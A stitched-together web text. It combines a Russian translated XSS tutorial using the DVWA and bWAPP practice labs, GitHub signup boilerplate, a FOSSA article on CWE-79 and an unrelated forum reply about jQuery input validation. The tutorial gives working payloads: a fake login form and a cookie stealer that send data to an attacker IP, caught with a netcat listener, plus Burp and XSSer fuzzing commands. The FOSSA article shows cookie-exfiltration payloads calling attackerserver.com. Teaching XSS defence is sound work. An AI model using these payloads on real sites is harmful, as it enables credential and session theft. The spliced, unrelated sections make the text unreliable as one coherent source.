В этой статье пойдет речь о межсайтовом скриптинге (XSS). Читатель узнает, как злоумышленник способен выполнять вредоносные JavaScript-коды для входных параметров и генерировать всплывающие окна, чтобы «испортить» веб-приложение или захватить сеанс активного пользователя.
Что такое JavaScript?
Динамическое веб-приложение стоит на трех столпах: HTML, который определяет полную его структуру, CSS, что описывает его внешний вид, и JavaScript, который добавляет мощные функции, такие как оповещения, эффекты ролловера, раскрывающееся меню.
Таким образом, JavaScript является базовым языком программирования в Интернете и считается одним из самых популярных скриптовых языков, поскольку около 93% всех веб-сайтов работают на Javascript. Это происходит благодаря некоторым его функциям, таким как:
- Доступность
- Возможность создания интерактивных веб-приложений
- Уникальность. Это единственный язык программирования, который может быть интерпретирован браузером, т.е. браузер запускает его, а не отображает
- Гибкость. Он способен быть «перемешан» с HTML-кодами
Обработчики событий JavaScript
Когда код JavaScript встроен в HTML-страницу, то этот JavaScript «реагирует» на конкретные события, такие как:
- Когда страница загружается, это считается событием.
- Когда пользователь нажимает кнопку, это тоже событие.
- Другие примеры: нажатие любой клавиши, закрытие окна, изменение размера окна и т.д. Таким образом, они управляются обработчиками событий.
Onload
Javascript использует функцию onload для загрузки объекта на веб-страницу.
Например, пользователь хочет создать оповещение для людей, которые посещают его сайт; вводится следующий код JavaScript:
<body onload=alert(‘Welcome to Hacking Articles’)>
Поэтому всякий раз, когда тег body загружается, появляется оповещение со следующим текстом: “Добро пожаловать в Hacking Articles”. Здесь загрузка тега body – это событие или событие типа onload. Обработчик событий решает, какое действие должно произойти в результате выполненной команды.
Onmouseover
С помощью обработчика событий Onmouseover, когда пользователь перемещает курсор на определенный текст, выполняется встроенный код Javascript.
Пора разобраться в следующем коде:
<a onmouseover=alert(“50% discount”)>surprise</a>
Теперь, когда пользователь перемещает курсор на сюрприз, появится окно оповещения со скидкой 50%.
Точно так же существует множество других обработчиков событий JavaScript, которые определяют, какое событие должно произойти для определенного типа действий, как прокрутка вниз или неспособности загрузить изображение.
Знакомство с Cross-Site Scripting (XSS)
Межсайтовый скриптинг или XSS представляет собой атаку с внедрением кода на стороне клиента, при которой вредоносные скрипты внедряются на надежные веб-сайты. XSS осуществляется в тех веб-приложениях, где входные параметры не были должным образом настроены или проверены, что позволяет злоумышленнику отправлять вредоносные коды Javascript другому конечному пользователю. Браузер конечного пользователя не имеет возможности узнать, что скрипту не следует доверять, и, таким образом, выполнит его.
В этой атаке пользователи не компрометируются непосредственно через полезную нагрузку, хотя злоумышленник снимает уязвимость XSS, вставляя вредоносный скрипт на веб-страницу, которая кажется подлинной частью веб-сайта. Таким образом, когда любой пользователь посещает этот веб-сайт, “болеющая” веб-страница XSS доставит вредоносный код JavaScript непосредственно в браузер без его ведома.
Не совсем понятно, что происходит? Настала пора прояснить это на следующем примере.
Берется веб-приложение, которое позволяет пользователям настроить “краткое описание” в своем профиле, которое, таким образом, будет видно всем. Теперь злоумышленник замечает, что поле описания неправильно проверяет входные данные, поэтому он вводит свой вредоносный скрипт в него.
Когда посетитель просматривает профиль злоумышленника, код get автоматически выполняется браузером, он захватывает аутентифицированные файлы cookie, а, с другой стороны, мошенник получает активный сеанс жертвы.
Влияние Cross-Site Scripting
За последнее столетие межсайтовый скриптинг сумел занять свое место в списке OWASP Top10, поскольку это один из самых важных и наиболее широко используемых методов атаки в Интернете.
За счет него злоумышленник способен выполнить следующее:
- Захватить и получить доступ с проверкой подлинности пользователя и куки сессии
- Загрузить фишинговую страницу, чтобы заманить пользователей и завладеть их данными
- Перенаправить посетителей на другие вредоносные ресурсы
- Раскрыть конфиденциальные данные пользователей
- Манипулировать структурой веб-приложения
Тем не менее, XSS был зарегистрирован с оценкой CVSS 6.1 и средней степенью опасности.
- CWE-79: неверная нейтрализация входных данных во время генерации веб-страниц (“Межсайтовый скриптинг”)
- CWE-80: неверная нейтрализация HTML-тегов, связанных со сриптами, на веб-странице (Basic XSS)
Типы XSS
До сих пор у пользователя, возможно, было четкое понимание концепции JavaScript и XSS и их основных последствий. Итак, стоит продолжить идти по той же дороге и разбить XSS на три основных типа:
- Stored XSS
- Reflected XSS
- DOM-based XSS
Stored XSS
Stored XSS еще называется персистентным XSS или I типом, так как с помощью этой уязвимости внедренный вредоносный скрипт постоянно хранится внутри сервера базы данных веб-приложения, а сервер далее сбрасывает его обратно, когда пользователь посещает соответствующий веб-сайт.
Это происходит, когда клиент нажимает или наводит курсор на определенный зараженный раздел. Введенный JavaScript будет выполняться браузером так же, как он записан в базе данных приложения, поэтому эта атака не требует какой-либо фишинговой техники для осуществления в отношении пользователей.
Наиболее распространенным примером Stored XSS является «опция комментариев» в блогах, которая позволяет любому пользователю оставлять свои отзывы как в виде послания для администратора, так и для других пользователей.
Настало время рассмотреть подобный пример:
Веб-приложение просит пользователя оставить свой отзыв, так как на его веб-странице есть два поля ввода: одно – для имени, а другое – для комментария.
Теперь, когда пользователь нажмет кнопку “Отправить”, его запись сохранится в базе данных. Чтобы сделать этот пример более понятным, человек вывел таблицу базы данных на экране следующим образом:
В данном случае разработчик доверяет своим пользователям и не размещает никаких валидаций на полях. Таким образом, эта лазейка была обнаружена злоумышленником, и поэтому он воспользовался ею, так как вместо того, чтобы отправить отзыв, он прокомментировал свой вредоносный скрипт.
<script>alert(“Hey!! This website belongs to Hacking Articles”)</script>
На приведенном ниже скриншоте видно, что злоумышленник осуществил желаемое, так как веб-приложение вывело на экран всплывающее предупреждение.
Теперь, вернувшись в базу данных, человек может увидеть, что таблица была обновлена с именем “Ignite”, а поле Feedback – пусто, это проясняет тот факт, что скрипт злоумышленника был успешно введен.
Поэтому стоит переключиться на другой браузер в качестве иного пользователя и снова попытаться отправить подлинный фидбэк.
Теперь, когда пользователь нажмет кнопку «Отправить», браузер выполнит введенный скрипт и отобразит его на экране.
Reflected XSS
Reflected XSS, еще называемый неперсистентным XSS или типом II, появляется, когда веб-приложение немедленно реагирует на ввод пользователя без проверки того, что ввел пользователь. Это может привести к тому, что злоумышленник введет исполняемый код браузера в один HTML-ответ. Он называется «неперсистентным», так как вредоносный скрипт не хранится в базе данных веб-сервера, поэтому злоумышленнику необходимо отправить вредоносную ссылку с помощью фишинга, чтобы поймать пользователя в ловушку.
Reflected XSS является распространенной практикой, поэтому может быть легко найден в “полях поиска веб-сайта”, где злоумышленник включает некоторые произвольные коды Javascript в текстовое поле поиска, и, если сайт уязвим, веб-страница возвращает событие, как было описано в скрипте.
Reflect XSS бывает двух типов:
- Reflected XSS GET
- Reflected XSS POST
Чтобы лучше понять концепцию Reflected XSS, настало время рассмотреть следующий сценарий.
Здесь была создана веб-страница, которая, таким образом, позволяет пользователю искать конкретный учебный курс. Когда человек ищет “Bug Bounty”, на экране появляется сообщение: “Вы искали Bug Bounty.”
Таким образом, этот мгновенный ответ и параметр “поиск” в URL-адресе показывают, что страница может быть уязвима для XSS, и данные были запрошены с помощью метода GET.
Итак, стоит теперь попробовать сгенерировать всплывающие окна, введя Javascript-коды в этот параметр следующим образом:
get.php?search=<script>alert(“Welcome to hacking Articles!!”)</script>
Отлично!! На приведенном ниже скриншоте можно увидеть, что пользователь получил приветственное сообщение.
Интересно, почему все так произошло? Необходимо проверить следующий фрагмент кода.
С легкостью выводя сообщение на экран, разработчик не устанавливал никакой проверки ввода в функции ignite, а просто оставил echo для «Search Message» с помощью ignite($search) и переменной «$_GET».
DOM-Based XSS
Межсайтовые скрипты на основе DOM – это уязвимость, которая появляется в объектной модели документа, а не на HTML-страницах.
Но что такое эта объектная модель документа?
DOM или объектная модель документа описывает различные сегменты веб-страницы, такие как заголовок, таблицы, формы и даже иерархическую структуру HTML-страницы. Таким образом, этот API повышает квалификацию разработчиков по созданию и изменению HTML и XML-документов в качестве объектов программирования.
Когда HTML-документ загружается в веб-браузере, он становится “объектом документа”.
Однако этот объект документа является корневым узлом HTML-документов и владеет всеми остальными узлами.
С помощью объектной модели JavaScript получает все необходимое для создания динамического HTML:
- JavaScript может изменять все HTML-элементы на странице
- JavaScript способен изменять все атрибуты HTML
- JavaScript может изменять стили CSS на странице
- JavaScript способен удалять существующие HTML-элементы и атрибуты
- JavaScript может добавлять новые HTML-элементы и атрибуты
- JavaScript способен реагировать на все существующие HTML-события на странице
- JavaScript может создавать новые HTML-события
Поэтому манипуляция DOM сама по себе не является проблемой, но когда JavaScript обрабатывает данные небезопасно в DOM, таким образом, он позволяет проводить различные атаки.
Уязвимости XSS на основе DOM обычно появляются, когда JavaScript берет данные из контролируемого злоумышленником источника, такого как URL, и передает их приемнику (опасная функция JavaScript), который поддерживает динамическое выполнение кода.
Этим он сильно отличается от Reflected и Stored XSS, потому что в данной атаке разработчик не может найти вредоносный скрипт в исходном коде HTML, а также в ответе HTML, его можно наблюдать только во время выполнения.
XSS на основе DOM использует эти уязвимости на локальных компьютерах пользователя следующим образом:
- Злоумышленник создает вредоносный веб-сайт
- Пользователь открывает его
- У него есть уязвимая страница на компьютере
- Сайт злоумышленника отправляет команды на уязвимую HTML-страницу
- Уязвимая локальная страница выполняет эти команды с правами пользователя на этой машине
- Злоумышленник получает контроль над компьютером жертвы
Стоит также проверить исполнение XSS на основе DOM на практике.
Следующее приложение уязвимо для атаки XSS на основе DOM. Веб-приложение позволяет своим пользователям выбирать язык со следующими опциями и выполняет ввод данных через определенный URL-адрес.
http://localhost/DVWA/vulnerabilities/xss_d/?default=English
На приведенном выше скриншоте можно увидеть, что у пользователя нет какого-либо конкретного раздела, где он мог бы запустить вредоносный код. Поэтому, чтобы испортить это веб-приложение, человек теперь будет манипулировать “URL”, поскольку это самый распространенный источник для проведения DOM XSS.
http://localhost/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(“This is DOM XSS”);</script>
После манипуляций с URL-адресом человек нажмет на кнопку Enter. Теперь он снова выберет язык, и, когда будет активирована кнопка выбора, браузер выполнит код в URL-адресе и выдаст предупреждение DOM XSS.
Основное различие между XSS на основе DOM и Reflected и Stored XSS заключается в том, что он не может быть остановлен фильтрами на стороне сервера, потому что все, что написано после “#” (хэш), никогда не будет переадресовано на него.
Использование Cross-Site Scripting
Пользователь может задаться вопросом: “Хорошо, мы получили всплывающее окно, но что теперь? Что мы можем сделать с ним? Я нажму на кнопку ОК, и это всплывающее окно исчезнет”.
Но это всплывающее окно говорит о тысяче возможных способов. Нужно вернуться к тому месту, где пользователь увидел первое всплывающее окно.
Получение учетных данных
Пользователь теперь знает том, что всякий раз, когда он отправляет свой отзыв, фидбэк будет храниться непосредственно в базе данных сервера. И если злоумышленник манипулирует обратной связью с помощью “предупреждающего сообщения”, то даже само предупреждение будет сохранено в нем, ведь оно всплывает каждый раз, когда какой-то другой пользователь посещает веб-страницу приложения.
Но что делать, если вместо всплывающего окна пользователя приветствует страница входа в систему?
Необходимо попробовать решить эту проблему, введя вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на веб-странице, что, таким образом, переадресует захваченный запрос на IP-адрес злоумышленника.
Итак, стоит запустить следующий скрипт в поле обратной связи в веб-приложении:
<div style=”position: absolute; left: 0px; top: 0px; background-color:#fddacd;width: 1900px; height: 1300px;”><h2>Please login to continue!!</h2>
<br><form name=”login” action=”http://192.168.0.9:4444/login.htm”>
<table><tr><td>Username:</td><td><input type=”text” name=”username”/></td></tr><tr><td>Password:</td>
<td><input type=”password” name=”password”/></td></tr><tr>
<td colspan=2 align=center><input type=”submit” value=”Login”/></td></tr>
</table></form>
Теперь этот вредоносный код был сохранен в базе данных веб-приложения.
В каком-нибудь другом браузере пользователь пытается отправить свой отзыв.
Как только он нажал кнопку отправки, браузер запустил скрипт, и пользователь получил приветствие с формой входа в систему: «Пожалуйста, войдите, чтобы продолжить».
Мошенник запускает свой листенер:
nc –lvp 4444
Теперь, когда пользователь вводит свои учетные данные, скрипты загрузятся снова, и введенные учетные данные отправятся к листенеру злоумышленника.
Отлично!! На приведенном ниже скриншоте можно увидеть, что учетные данные жертвы были успешно захвачены.
Захват Cookie
Бывают случаи, когда злоумышленнику нужны аутентифицированные файлы cookie вошедшего в систему пользователя либо для доступа к его учетной записи, либо для какой-то другой вредоносной цели.
Итак, стоит рассмотреть, как эта уязвимость XSS позволяет злоумышленникам захватывать сеансовые файлы cookie и как они злоупотребляют ими, чтобы добраться до учетной записи пользователя.
Человек запустил уязвимое веб-приложение “DVWA” в своем браузере и вошел с помощью admin: password. Далее, на левой панели он выбрал уязвимость как XSS (Stored), но, на этот раз, поставил низкие параметры безопасности.
Настала пора ввести вредоносную полезную нагрузку в раздел “Сообщение”, но перед этим нужно увеличить длину текстовой области, так как ее недостаточно для ввода самой полезной нагрузки. Поэтому стоит открыть вкладку Inspect element, нажав “Ctrl + I”, чтобы просмотреть заданную длину сообщения для текстовой области, а затем дополнительно изменить поле Message maxlength с 50 на 150.
На следующем скриншоте можно увидеть, что пользователь ввел скрипт, который, таким образом, захватит файл cookie и отправит его листенеру, когда любой пользователь посетит эту страницу.
<script>new Image().src=”http://192.168.0.9:4444?output=”+document.cookie;</script>
Теперь следует настроить листенер Netcat:
nc –lvp 4444
Пользователю нужно выйти из системы и снова войти как новый юзер. Если он посещает страницу XSS (Stored), его сеансовые файлы cookie будут переданы листенеру мошенника.
Отлично!! На приведенном ниже скриншоте можно увидеть, что пользователь успешно захватил аутентифицированные файлы cookie.
Но что же с ними делать?
Стоит войти в аккаунт. Пользователь снова открыл DVWA, но, на этот раз, он не будет входить в систему, он задействует захваченные файлы cookie. Был использовал плагин редактора файлов cookie для того, чтобы управлять сеансом.
На приведенном ниже скриншоте можно увидеть, что пользователь изменил PHPSESID на тот, который был захвачен, и манипулировал безопасностью от невозможного до низкого уровня, уменьшив его с 1 до 0. После он сохранил эти изменения. Человек может даже манипулировать URL-адресом, удалив login.php.
Отлично!! Теперь пользователь просто перезагрузит страницу, на скриншоте можно увидеть, что он находится в приложении.
Использование атаки вместе с Burpsuite
Stored XSS трудно найти, но, с другой стороны, Reflected XSS очень распространен и поэтому может быть использован с помощью нескольких простых щелчков мыши.
Но до сих пор пользователь применял только веб-приложения, которые не были проверены разработчиками, так что же насчет тех, которые защищены?
Веб-приложения с полями ввода где-то уязвимы для XSS, но пользователю стоит подумать, были ли они защищены определенными проверками. Поэтому для того, чтобы использовать такие защищенные приложения, нужны некоторые инструменты, здесь можно рассчитывать на BurpSuite.
Пользователь открыл целевой IP в своем браузере и вошел в систему BWAPP как bee: bug, далее он установил опцию “Choose Your Bug” на “XSS-Reflected (Post)” и запустил кнопку hack. Для этого раздела был установлен средний уровень безопасности.
На приведенном ниже скриншоте можно увидеть, что когда пользователь попытался выполнить полезную нагрузку как предупреждение <script>(“hello”)</script>, он не получил желаемого результата.
Итак, стоит захватить текущий HTTP-запрос в BurpSuite и далее поделиться захваченным запросом с Intruder.
Перейдя в intruder, пользователь откроет вкладку Position. Он настроит ее для параметра input-value как “firstname” с помощью кнопки Add$.
Пора запустить файл полезных нагрузок. Пользователь нажмет на кнопку Загрузить, чтобы добавить словарь. Он даже может выбрать словарь XSS burpsuite с помощью простого щелчка по кнопке “Добавить из списка” и выбора Fuzzing-XSS.
Как только настройка будет завершена, пользователь нажмет на кнопку “Начать атаку”.
На приведенном ниже изображении можно увидеть, что атака была начата, и есть колебания в секции длины. Чтобы получить результат в порядке убывания длины, пользователь дважды щелкнул на длину поля.
Пользователь почти закончил. Нужно дважды щелкнуть по любой полезной нагрузке, чтобы проверить, что она в себя заключает.
Теперь стоит подождать!! Пользователь не может видеть результат XSS на вкладке response, так как браузер способен визуализировать только этот вредоносный код, поэтому для проверки ответа надо просто нажать правой кнопкой мыши и выбрать опцию «Показать ответ в браузере».
Пользователь скорирует предложенный URL-адрес и вставит его в браузер. Отлично!! На приведенном ниже изображения можно увидеть, что пользователь успешно обошел защиту приложения, когда получил предупреждение.
XSSer
Межсайтовый “скриптер” или “XSSer” – это платформа, которая обнаруживает уязвимости XSS в веб-приложениях и даже предоставляет несколько вариантов их использования.
XSSer имеет более 1300 предустановленных векторов XSS fuzzing, которые, таким образом, позволяют злоумышленнику обойти определенно отфильтрованные веб-приложения и межсетевые экраны WAF (Web Application Firewalls).
Итак, стоит понять, как этот fuzzer может помочь в использовании веб-приложения bWAPP. Но для того, чтобы двигаться дальше, нужно клонировать XSSer в машину Кали пользователя. Это можно сделать с помощью:
git clone https://github.com/epsylon/xsser.git
Теперь стоит загрузиться обратно в свой bWAPP, установить опцию “Choose your Bug” на “XSS –Reflected (Get)” и нажать на кнопку hack. На этот раз будет установлен средний уровень безопасности.
XSSer предлагает две платформы: графический интерфейс и командную строку. В этой статье пользователь сосредоточился на методе командной строки.
Поскольку уязвимость XSS зависит от входных параметров, XSSer работает на “URL”; и для получения точного результата тоже нужны файлы cookie. Чтобы захватить их, пользователь установил первое имя как “test”, а последнее – как “test1”.
Теперь пользователь захватит запрос браузера в его burpsuite, просто включив прокси-сервер и параметры перехвата, далее, когда он нажмет на кнопку Go, будет получен результат в виде:
Пользователю необходимо запустить его терминал Kali с помощью XSSer и выполнить следующую команду с флагами –url и –cookie. Здесь он даже использовал флаг -auto, который проверит URL-адрес со всеми предварительно загруженными векторами. В прикладном URL-адресе ему нужно манипулировать значением входного параметра до “XSS“, как в данном случае он изменил «test» на «XSS».
python3 xsser –url “http://192.168.0.9/bWAPP/xss_get.php?firstname=XSS&lastname=test1&form=submit” –cookie “PHPSESSID=q6t1k21lah0ois25m0b4egps85; security_level=1” –auto
На приведенном ниже скриншоте можно увидеть, что этот URL-адрес уязвим с 1287 векторами.
Лучшее в этом fuzzer то, что он предоставляет URL-адрес браузера.
Примечание: Нет необходимости с каждой полезной нагрузкой получать всплывающее предупреждение, так как каждая другая полезная нагрузка определяется каким-то конкретным событием, будь то настройка iframe, захват некоторых файлов cookie или перенаправление на какой-то другой веб-сайт.
Таким образом, на приведенном ниже скриншоте видно, что пользователь успешно испортил это веб-приложение.
Митигирование
- Разработчики должны внедрить белый список допустимых входных данных, и если это невозможно, то нужно организовать проверки входных данных. Более того, данные, введенные пользователем, должны быть отфильтрованы
- Output encoding является наиболее надежным решением для борьбы с XSS, поскольку оно принимает код скрипта и преобразует его в обычный текст
- Межсетевой экран WAF должен активирован, поскольку он защищает приложение от XSS-атак
- Использование флагов HTTPOnly на файлах cookie
- Разработчики могут применить политику безопасности контента (CSP) для снижения возможности появления любых уязвимостей XSS
Автор переведенной статьи: Chiragh Arora.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
- Pick a username
- Email Address
- Password
By clicking “Sign up for GitHub”, you agree to our terms of service and
privacy statement. We’ll occasionally send you account related emails.
Already on GitHub?
Sign in
to your account
Star
Embed
What would you like to do?
Fix for CWE-79 OWASP – Cross-Site Scripting Vulnerability on apache server using .htaccess
The advent of JavaScript has taken client-side scripting to new highs. The ability to create snappy, more interactive, and less backend-intensive apps has understandably led app developers to embrace client-side scripting. However, this dependency on the browser can be dangerous without proper precautions. While most modern frameworks like React and Angular offer some form of sanitization, there’s always a threat of evolving vulnerabilities.
CWE-79, or cross-site scripting (XSS), is one such vulnerability that breeds on a browser. XSS attacks target sites that dynamically generate web pages with user-inputted content. An attacker tricks the browser to misinterpret malicious code as user input.
RELATED: How SCA Helps Manage OSS Vulnerabilities | Log4J: What Happened and How to Fix It
What Is CWE-79?
CWE-79 refers to cross-site scripting (XSS) attacks that inject malicious code into a target app. The target app relies on the browsers to generate a webpage, typically involving user input. If the app fails to sanitize user inputs before it’s executed by the browser, it is vulnerable to an XSS attack. The payload could come from a socially engineered link, a victimized app database, or a manipulated DOM. Ideally, this kind of behavior should be filtered out by the same-origin policy — protocol, host, and port validation — built into the browsers. But, in the absence of proper sanitization, XSS attacks are designed to beat this security protocol.
The breadth of an XSS attack is wide-ranging and includes just about anything that can be done with JavaScript. This means attackers can target a site, a particular user, or all users of a target site.
Depending on the goals of the attackers, XSS attacks can be deployed in multiple vectors. A signature XSS attack impersonates a victim’s identity to perform stealthy read or write operations on a vulnerable app. Or, a user might unwittingly land on a malicious website, click on an email link, or submit a form on a compromised site. An example of social engineering would be back in the MySpace days when someone would convince you to paste a code snippet on your profile, which would unknowingly steal your password and send it off to whoever wrote the snippet.
Unfortunately, cross-site scripting attacks occur quite often. According to data in FOSSA’s State of Open Source Vulnerabilities report, cross-site scripting was the most commonly found CWE in 2020. Its prevalence demonstrates how easy it is to make these kinds of errors and how important it is for developers to be mindful of sanitation and input validation as they build their applications.
History of CWE-79: Cross-Site Scripting
The earliest instances of XSS attacks date back to late 1999 when a couple of Microsoft engineers observed a pattern of mismatched site data. A few script tags were injected into unrelated HTML pages. The engineers determined the attackers manipulated the browser to execute malicious code; the trigger mechanism was when a user took an action (like submitting a form or clicking a link).
In 2000, the engineers officially acknowledged their findings in a public document. This was the first time the name XSS was used to describe the vulnerability. In the years to follow, this type of XSS attack was categorized as type 1, or reflected XSS. At least two other distinct cross-site scripting types evolved over time — stored (type 2) and DOM-based (type 0). We’ll explain each type of CWE-79 attack in the next section, but, in short, the distinction is mainly based on the source of the payload.
Types of CWE-79 Attacks
An XSS attack can be fine-tuned at the will of an attacker. While there are many different ways to exploit CWE-79, they are categorized into three distinct types: reflected, stored, and DOM-based.
If a malicious payload exists as part of a web request itself, it is called a reflected/non-persistent XSS attack. If the source of the malicious payload is stored/persisted by the application (i.e. in a database), it’s called a stored or persistent XSS attack. Finally there are DOM-based attacks, which target client-side scripts which read and write data from the DOM, exploiting the inner workings of the page rendering process.
Reflected XSS
In a reflected XSS attack, browsers execute unsanitized user input resulting in a corrupt web page. This could be a dashboard that greets the user by their name as they enter it.
http://victimsite.com/awesomeuser
If a user enters an executable script as their name, the browser will still execute it as if the script existed in the site’s original HTML.
http://victimsite.com/awesomeuser <script>alert("You've been hacked!");</script>
This simple attack may not look so threatening on the surface. However, attackers can increase the severity by doing much more than just showing a funny alert. A cookie theft, for example, can be achieved by defying various detection mechanisms. Let’s say the attacker wants to send cookies to their server. They may use something like:
http://victimsite.com/awesomeuser document.write('<img src="http://attackerserver.com/invalid.png?cookie=' + document.cookie + '" />')
They can confuse a seemingly smart user by URL encoding to make it look like gibberish.
document.write%28%27%3Cimg+src%3D%22http%3A%2F%2Fattackerserver.com%2Finvalid.gif%3Fcookie%3D%27+%2B+document.cookie+%2B+%27%22+%2F%3E%27%29
If they want to be more stealthy, they can simply use the following to avoid write detection.
http://victimsite.com/awesomeuser <img src="http://attackerserver.com/"+document.cookie>
Don’t forget about link shorteners, which attackers can use to avoid all such problems. Consider this link: https://bit.ly/3vLIEd2. While this link doesn’t actually contain a malicious payload, as a reader, you’d have no idea the full URL that this would resolve to.
Stored XSS
This variant of cross-site scripting attack can be more damaging for its victims. It occurs when the attacker stores the payload on a victim app. Each time that app is loaded, the payload is executed. In many cases, it’s a hidden script tag that would not be visible to the user. For example, consider an app with a commentable page hosting a popular video. This page attracts millions of visitors each month, and no one can keep up with the comments. The attacker can leave a comment with something like the following.
I love this video <script src="http://attackerserver.com/steal_visitor_cookies.js"> </script>
This comment will execute the attacker’s JS that is designed to store visitors’ cookies. Unlike reflected XSS, this type of attack only requires the users to visit an infected site.
DOM-Based XSS
DOM-based XSS attacks do not require any server interaction. Attacker-controlled DOM sources are used to pass the payload to the sinks. These sinks then execute the malicious code. Essentially, the sources and sinks mimic the function of input and output. The attacker leverages sources and sinks just like they do HTTP requests in a reflected XSS.
Regardless of the type, XSS attacks violate the authority of an app. What makes XSS attacks extremely dangerous is the simplicity of their implementation. In addition to the examples demonstrated above, they can be used to fully compromise user accounts, deface a reputable site, or install a trojan horse program. Event-based JS can make it even smoother for the attackers. They can fire without the user lifting a finger. Often, the server-side detection fails because stand-alone execution on the front end makes it virtually impossible. Even static sites that have nothing to do with servers are susceptible to DOM-based XSS attacks.
How to Protect Against CWE-79
This multifaceted beast needs multi-level mitigation efforts. Start by creating awareness of this issue across your team, take the proper precautions at the development level, double-check that user inputted data is being sanitized, and continue to actively monitor your application for potential security holes.
- Create Awareness: Even though cross-site scripting attacks have existed for many years, there is still a lack of awareness in the developer community. The confusing classification of variants and a ton of attack vectors doesn’t help. A solid grasp of attacker methods will bolster defenses against XSS attacks.
- Sanitize: If all user input is neutralized, you can beat XSS at its own game. You can programmatically escape user-entered HTML content or use a neutralizing tool. It’s also wise to use a modern framework like React, and/or ensure that the framework you use is not susceptible to XSS attacks.
- Implement prudent security policies: Wherever possible, avoid HTML in inputs. Limit user inputs to only alphanumeric values and prime the servers to only accept those. Protect cookies with the HTTPonly flags.
- Conduct vulnerability scanning: Software composition analysis tools like FOSSA Security Management scan and flag vulnerable packages, enabling teams to surface and remediate vulnerabilities in their open source code.
- Use WAFs: A legacy firewall fails miserably in handling XSS attacks. A web application firewall, on the other hand, provides stronger protection.
For more information on how FOSSA can help your organization address vulnerabilities like CWE-79, get in touch with our team today.
Hello,
you are right, usually you validate the input.
However, these things become really important, if you go server-side. Currently real cross-site scripting is not possible.
Let’s have a look at the definition:
1 Untrusted data enters a web application, typically from a web request.
Okay, this can be done.
2 The web application dynamically generates a web page that contains this untrusted data.
The web application only creates a local web page on your pc dynamically that contains this untrusted data.
You are right, CC should definitely teach, how to do it correctly. But I wonder, whether CC should do it at the beginning: Currently the jQuery track does not require JS knowledge. But JS knowledge is needed to validate input.
If you try to program server-side, you will have to learn, how to do it correctly.
=> In my opinion the current way is not too bad (not absolutely wrong), as long as you stay in the client. However, passing toAdd to a server is something you really do not want to do.
